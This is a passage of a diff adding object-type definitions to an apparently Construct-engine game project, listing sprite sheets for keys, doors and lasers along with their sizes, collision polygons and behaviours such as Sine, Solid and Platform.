+ 202552466203733,
+ [
+ [
+ "images/sprite309-sheet0.png",
+ 18124,
+ 0,
+ 0,
+ 258,
+ 381,
+ 1,
+ 0.5,
+ 0.5013123154640198,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 985712262835406,
+ [],
+ null
+ ],
+ [
+ "t496",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground5.png",
+ 391552,
+ 1
+ ],
+ null,
+ [],
+ false,
+ false,
+ 608154443071677,
+ [],
+ null
+ ],
+ [
+ "t497",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 888107993746883,
+ [
+ [
+ "images/sprite310-sheet0.png",
+ 8896,
+ 0,
+ 0,
+ 1169,
+ 252,
+ 1,
+ 0.5953806638717651,
+ 0.5833333134651184,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 884978849727153,
+ [],
+ null
+ ],
+ [
+ "t498",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 524641772387406,
+ [
+ [
+ "images/key-sheet0.png",
+ 1193,
+ 0,
+ 0,
+ 112,
+ 54,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 290153367782558
+ ]
+ ],
+ false,
+ false,
+ 695806236313100,
+ [],
+ null
+ ],
+ [
+ "t499",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 465982129333428,
+ [
+ [
+ "images/sprite266-sheet0.png",
+ 6233,
+ 0,
+ 0,
+ 152,
+ 30,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ [],
+ [
+ -0.4868420958518982,
+ -0.4333334565162659,
+ 0.4868419766426086,
+ -0.4333334565162659,
+ 0.4802629947662354,
+ 0.3666666150093079,
+ -0.4868420958518982,
+ 0.3999996185302734
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 570878729991592
+ ]
+ ],
+ false,
+ false,
+ 662379586654184,
+ [],
+ null
+ ],
+ [
+ "t500",
+ 8,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/tiledbackground6.png",
+ 428953,
+ 1
+ ],
+ null,
+ [],
+ false,
+ false,
+ 410367086195483,
+ [],
+ null
+ ],
+ [
+ "t501",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 868269071746903,
+ [
+ [
+ "images/sprite312-sheet0.png",
+ 168597,
+ 0,
+ 0,
+ 1035,
+ 824,
+ 1,
+ 0.5004830956459045,
+ 0.8361650705337524,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 255691443088633,
+ [],
+ null
+ ],
+ [
+ "t502",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 713752861810032,
+ [
+ [
+ "images/sprite313-sheet0.png",
+ 6693,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 670377191555961,
+ [],
+ null
+ ],
+ [
+ "t503",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 830983920997670,
+ [
+ [
+ "images/sprite314-sheet0.png",
+ 1915,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 709755503937200,
+ [],
+ null
+ ],
+ [
+ "t504",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 861109290671144,
+ [
+ [
+ "images/sprite315-sheet0.png",
+ 1915,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 556331981570422,
+ [],
+ null
+ ],
+ [
+ "t505",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 585992151061287,
+ [
+ [
+ "images/sprite316-sheet0.png",
+ 1910,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 753556629991661,
+ [],
+ null
+ ],
+ [
+ "t506",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 286349798635984,
+ [
+ [
+ "images/sprite317-sheet0.png",
+ 2631,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 927214844269298,
+ [],
+ null
+ ],
+ [
+ "t507",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 720518369433227,
+ [
+ [
+ "images/sprite319-sheet0.png",
+ 6687,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 863480723342343,
+ [],
+ null
+ ],
+ [
+ "t508",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 311373412970734,
+ [
+ [
+ "images/sprite320-sheet0.png",
+ 1915,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 564149457498098,
+ [],
+ null
+ ],
+ [
+ "t509",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 353580711400136,
+ [
+ [
+ "images/sprite321-sheet0.png",
+ 3411,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 663799014563834,
+ [],
+ null
+ ],
+ [
+ "t510",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 862547813719061,
+ [
+ [
+ "images/sprite322-sheet0.png",
+ 2432,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 649529696065616,
+ [],
+ null
+ ],
+ [
+ "t511",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 963025606743738,
+ [
+ [
+ "images/sprite323-sheet0.png",
+ 2165,
+ 0,
+ 0,
+ 94,
+ 97,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 833448001811927,
+ [],
+ null
+ ],
+ [
+ "t512",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 251765678566056,
+ [
+ [
+ "images/sprite324-sheet0.png",
+ 2513,
+ 0,
+ 0,
+ 384,
+ 137,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 435196220596978
+ ],
+ [
+ "Sine2",
+ 13,
+ 964144679179547
+ ]
+ ],
+ false,
+ false,
+ 357763758620318,
+ [],
+ null
+ ],
+ [
+ "t513",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 949116660944143,
+ [
+ [
+ "images/sprite325-sheet0.png",
+ 132,
+ 0,
+ 0,
+ 502,
+ 80,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 777990338067643
+ ],
+ [
+ "Sine2",
+ 13,
+ 341031897604808
+ ]
+ ],
+ false,
+ false,
+ 739542234939682,
+ [],
+ null
+ ],
+ [
+ "t514",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 271742423827993,
+ [
+ [
+ "images/sprite326-sheet0.png",
+ 1235,
+ 0,
+ 0,
+ 39,
+ 25,
+ 1,
+ 0.5128205418586731,
+ 0.5199999809265137,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 780980760427691
+ ],
+ [
+ "Fade",
+ 18,
+ 165203088680284
+ ]
+ ],
+ false,
+ false,
+ 456063876180316,
+ [],
+ null
+ ],
+ [
+ "t515",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 871736846485155,
+ [
+ [
+ "images/door1-sheet0.png",
+ 2890,
+ 0,
+ 0,
+ 37,
+ 159,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 146929229934971
+ ]
+ ],
+ false,
+ false,
+ 265145162731321,
+ [],
+ null
+ ],
+ [
+ "t516",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 791925224586302,
+ [
+ [
+ "images/sprite325-sheet0.png",
+ 132,
+ 0,
+ 0,
+ 502,
+ 80,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 648513956424331
+ ],
+ [
+ "Sine2",
+ 13,
+ 661395722945837
+ ]
+ ],
+ false,
+ false,
+ 725463317073130,
+ [],
+ null
+ ],
+ [
+ "t517",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 954780508487121,
+ [
+ [
+ "images/door1-sheet0.png",
+ 2890,
+ 0,
+ 0,
+ 37,
+ 159,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 143725529894505
+ ]
+ ],
+ false,
+ false,
+ 553187148683618,
+ [],
+ null
+ ],
+ [
+ "t518",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 390665763217867,
+ [
+ [
+ "images/key-sheet0.png",
+ 1193,
+ 0,
+ 0,
+ 112,
+ 54,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 140948153039423
+ ]
+ ],
+ false,
+ false,
+ 545319448527602,
+ [],
+ null
+ ],
+ [
+ "t519",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 101709797848674,
+ [
+ [
+ "images/key-sheet0.png",
+ 1193,
+ 0,
+ 0,
+ 112,
+ 54,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 135373424173304
+ ]
+ ],
+ false,
+ false,
+ 450162122103815,
+ [],
+ null
+ ],
+ [
+ "t520",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 906108727362730,
+ [
+ [
+ "images/sprite328-sheet0.png",
+ 312847,
+ 0,
+ 0,
+ 802,
+ 482,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 194953324821572,
+ [],
+ null
+ ],
+ [
+ "t521",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 680384552788160,
+ [
+ [
+ "images/sprite329-sheet0.png",
+ 814,
+ 0,
+ 0,
+ 123,
+ 37,
+ 1,
+ 0.6097561120986938,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 556444232888653,
+ [],
+ null
+ ],
+ [
+ "t522",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 937409870947430,
+ [
+ [
+ "images/sprite330-sheet0.png",
+ 863,
+ 0,
+ 0,
+ 123,
+ 37,
+ 1,
+ 0.5284552574157715,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 679702799116556,
+ [],
+ null
+ ],
+ [
+ "t523",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 970949752108822,
+ [
+ [
+ "images/sprite331-sheet0.png",
+ 880,
+ 0,
+ 0,
+ 123,
+ 37,
+ 1,
+ 0.5365853905677795,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 630110557024976,
+ [],
+ null
+ ],
+ [
+ "t524",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 680419589002757,
+ [
+ [
+ "images/sprite332-sheet0.png",
+ 845,
+ 0,
+ 0,
+ 123,
+ 37,
+ 1,
+ 0.6666666865348816,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 897928818528237,
+ [],
+ null
+ ],
+ [
+ "t525",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 923382970291060,
+ [
+ [
+ "images/sprite333-sheet0.png",
+ 870,
+ 0,
+ 0,
+ 132,
+ 37,
+ 1,
+ 0.560606062412262,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 974494190338745,
+ [],
+ null
+ ],
+ [
+ "t526",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 243581235977492,
+ [
+ [
+ "images/sprite334-sheet0.png",
+ 756,
+ 0,
+ 0,
+ 122,
+ 37,
+ 1,
+ 0.5655737519264221,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 766091417485610,
+ [],
+ null
+ ],
+ [
+ "t527",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 956435400332315,
+ [
+ [
+ "images/sprite335-sheet0.png",
+ 858,
+ 0,
+ 0,
+ 132,
+ 37,
+ 1,
+ 0.5454545617103577,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 730285422648206,
+ [],
+ null
+ ],
+ [
+ "t528",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 593251726156471,
+ [
+ [
+ "images/sprite336-sheet0.png",
+ 894,
+ 0,
+ 0,
+ 130,
+ 37,
+ 1,
+ 0.5384615659713745,
+ 0.5135135054588318,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 803569098263682,
+ [],
+ null
+ ],
+ [
+ "t529",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "tres",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 284252419019332,
+ [
+ [
+ "images/sprite337-sheet0.png",
+ 885,
+ 0,
+ 0,
+ 132,
+ 37,
+ 1,
+ 0.560606062412262,
+ 0.5945945978164673,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 873666543481131,
+ [],
+ null
+ ],
+ [
+ "t530",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 738518070465850,
+ [
+ [
+ "images/sprite338-sheet0.png",
+ 46101,
+ 0,
+ 0,
+ 422,
+ 211,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 904512896039976,
+ [],
+ null
+ ],
+ [
+ "t531",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 507141263547225,
+ [
+ [
+ "images/sprite340-sheet0.png",
+ 25454,
+ 0,
+ 0,
+ 279,
+ 523,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 888119865792261
+ ]
+ ],
+ false,
+ false,
+ 333443464871889,
+ [],
+ null
+ ],
+ [
+ "t532",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 726514081998039,
+ [
+ [
+ "images/sprite341-sheet0.png",
+ 14227,
+ 0,
+ 0,
+ 223,
+ 274,
+ 1,
+ 0.5201793909072876,
+ 0.974452555179596,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 779683564324858,
+ [],
+ null
+ ],
+ [
+ "t533",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 900286809904110,
+ [
+ [
+ "images/sprite342-sheet0.png",
+ 4383,
+ 0,
+ 0,
+ 70,
+ 38,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 553348092646050
+ ]
+ ],
+ false,
+ false,
+ 638471464834606,
+ [],
+ null
+ ],
+ [
+ "t534",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 329693816810721,
+ [
+ [
+ "images/sprite343-sheet0.png",
+ 6694,
+ 0,
+ 0,
+ 96,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 689810942812659,
+ [],
+ null
+ ],
+ [
+ "t535",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 789102111694119,
+ [
+ [
+ "images/sprite344-sheet0.png",
+ 6997,
+ 0,
+ 0,
+ 184,
+ 173,
+ 1,
+ 0.532608687877655,
+ 0.9768785834312439,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 895337364502450,
+ [],
+ null
+ ],
+ [
+ "t536",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 846235473626265,
+ [
+ [
+ "images/sprite345-sheet0.png",
+ 1977,
+ 0,
+ 0,
+ 96,
+ 87,
+ 1,
+ 0.5,
+ 0.9885057210922241,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 743938114574578,
+ [],
+ null
+ ],
+ [
+ "t537",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 459444380376193,
+ [
+ [
+ "images/sprite346-sheet0.png",
+ 145,
+ 0,
+ 0,
+ 384,
+ 137,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 858479620170691
+ ],
+ [
+ "Sine2",
+ 13,
+ 764096026380338
+ ]
+ ],
+ false,
+ false,
+ 525413224469412,
+ [],
+ null
+ ],
+ [
+ "t538",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/parcho.png",
+ 864,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 266679881619668,
+ [],
+ null
+ ],
+ [
+ "t539",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 489441584402152,
+ [
+ [
+ "images/camira-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 221753352814887
+ ]
+ ],
+ false,
+ false,
+ 984942608977034,
+ [],
+ null
+ ],
+ [
+ "t540",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "medium",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 289294948847250,
+ [
+ [
+ "images/reboter-sheet0.png",
+ 2513,
+ 1,
+ 1,
+ 150,
+ 150,
+ 1,
+ 0.5,
+ 0.5133333206176758,
+ [],
+ [
+ -0.01333299279212952,
+ -0.1710383296012878,
+ 0.2710350155830383,
+ -0.07464432716369629,
+ 0.2788500189781189,
+ 0.06721270084381104,
+ 0.04000002145767212,
+ 0.1636067032814026,
+ -0.2921839952468872,
+ 0.05387967824935913,
+ -0.2836779952049255,
+ -0.07486331462860107
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "idle",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 834057658962117,
+ [
+ [
+ "images/reboter-sheet0.png",
+ 2513,
+ 153,
+ 1,
+ 90,
+ 90,
+ 1,
+ 0.5,
+ 0.5111111402511597,
+ [],
+ [
+ -0.1777780055999756,
+ -0.1193081438541412,
+ 0.2532569766044617,
+ -0.119855135679245,
+ 0.5,
+ 0.1227678656578064,
+ 0.2444450259208679,
+ 0.3836068511009216,
+ -0.2210730016231537,
+ 0.3449908494949341,
+ -0.4659005105495453,
+ 0.09180283546447754
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "full",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 101996014108370,
+ [
+ [
+ "images/reboter-sheet0.png",
+ 2513,
+ 153,
+ 93,
+ 90,
+ 90,
+ 1,
+ 0.5,
+ 0.5111111402511597,
+ [],
+ [
+ -0.4699234068393707,
+ -0.2122041285037994,
+ -0.2666670083999634,
+ -0.3388891220092773,
+ 0.2699239850044251,
+ -0.3399821519851685,
+ 0.4845790266990662,
+ -0.1629781424999237,
+ 0.421455979347229,
+ 0.03069186210632324,
+ 0.1266279816627502,
+ 0.1672128438949585,
+ -0.06666699051856995,
+ 0.1669408679008484,
+ -0.3988510072231293,
+ 0.06721287965774536,
+ -0.4825671911239624,
+ -0.04153013229370117
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Solid",
+ 17,
+ 949873367249512
+ ]
+ ],
+ false,
+ false,
+ 829120055455275,
+ [],
+ null
+ ],
+ [
+ "t541",
+ 12,
+ false,
+ [],
+ 3,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 572188764915163,
+ [
+ [
+ "images/sprite347-sheet0.png",
+ 3724,
+ 0,
+ 0,
+ 98,
+ 93,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 267061549061501
+ ],
+ [
+ "Solid",
+ 17,
+ 894303785602590
+ ],
+ [
+ "Platform",
+ 23,
+ 750868603133224
+ ]
+ ],
+ false,
+ false,
+ 897292491443640,
+ [],
+ null
+ ],
+ [
+ "t542",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 930841283869204,
+ [
+ [
+ "images/sprite348-sheet0.png",
+ 22362,
+ 0,
+ 0,
+ 319,
+ 189,
+ 1,
+ 0.5015674233436584,
+ 0.6455026268959045,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 248089729453299,
+ [],
+ null
+ ],
+ [
+ "t543",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 487530319736186,
+ [
+ [
+ "images/sprite349-sheet0.png",
+ 81031,
+ 0,
+ 0,
+ 264,
+ 352,
+ 1,
+ 0.2727272808551788,
+ 0.8778409361839294,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 559599654536014
+ ]
+ ],
+ false,
+ false,
+ 996288347985822,
+ [],
+ null
+ ],
+ [
+ "t544",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 837372656909435,
+ [
+ [
+ "images/sprite350-sheet0.png",
+ 47682,
+ 0,
+ 0,
+ 208,
+ 201,
+ 1,
+ 0.5,
+ 0.8805969953536987,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 583940031681049
+ ]
+ ],
+ false,
+ false,
+ 572755778959116,
+ [],
+ null
+ ],
+ [
+ "t545",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 803949790015142,
+ [
+ [
+ "images/sprite351-sheet0.png",
+ 84241,
+ 0,
+ 0,
+ 264,
+ 489,
+ 1,
+ 0.5681818127632141,
+ 0.9386503100395203,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 346497558504741
+ ]
+ ],
+ false,
+ false,
+ 284604567196557,
+ [],
+ null
+ ],
+ [
+ "t546",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 994788175545221,
+ [
+ [
+ "images/sprite352-sheet0.png",
+ 1856,
+ 0,
+ 0,
+ 92,
+ 99,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 800367446829637,
+ [],
+ null
+ ],
+ [
+ "t547",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "pega",
+ 30,
+ true,
+ 1,
+ 0,
+ false,
+ 797577036317818,
+ [
+ [
+ "images/lasers-sheet0.png",
+ 21718,
+ 1,
+ 1,
+ 114,
+ 421,
+ 1,
+ 0.5,
+ 0.5011876225471497,
+ [],
+ [
+ -0.07017499208450317,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ -0.5011876225471497,
+ 0.06140297651290894,
+ 0.4988123774528503,
+ -0.07017600536346436,
+ 0.4988123774528503
+ ],
